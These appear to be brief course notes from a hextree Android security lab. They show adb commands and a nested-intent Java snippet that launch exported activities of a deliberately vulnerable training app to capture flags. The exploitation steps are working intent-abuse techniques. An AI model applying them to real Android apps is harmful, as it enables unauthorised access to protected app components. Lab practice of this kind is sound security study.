Activities
The example scenarios are part of hextree course - https://app.hextree.io/map/android
Example of Some Vulnerable scenarios & their exploitation
adb shell "am start -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag1Activity"adb shell "am start -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag2Activity -a io.hextree.action.GIVE_FLAG"adb shell "am start -n io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag3Activity -a io.hextree.action.GIVE_FLAG -d 'https://app.hextree.io/map/android'"Intent innerInnerIntent = new Intent();
innerInnerIntent.putExtra("reason","back");
Intent innerIntent = new Intent();
innerIntent.putExtra("nextIntent",innerInnerIntent);
innerIntent.putExtra("return",42);
Intent outerIntent = new Intent();
outerIntent.setClassName("io.hextree.attacksurface","io.hextree.attacksurface.activities.Flag5Activity");
outerIntent.putExtra("android.intent.extra.INTENT",innerIntent);
startActivity(outerIntent);Last updated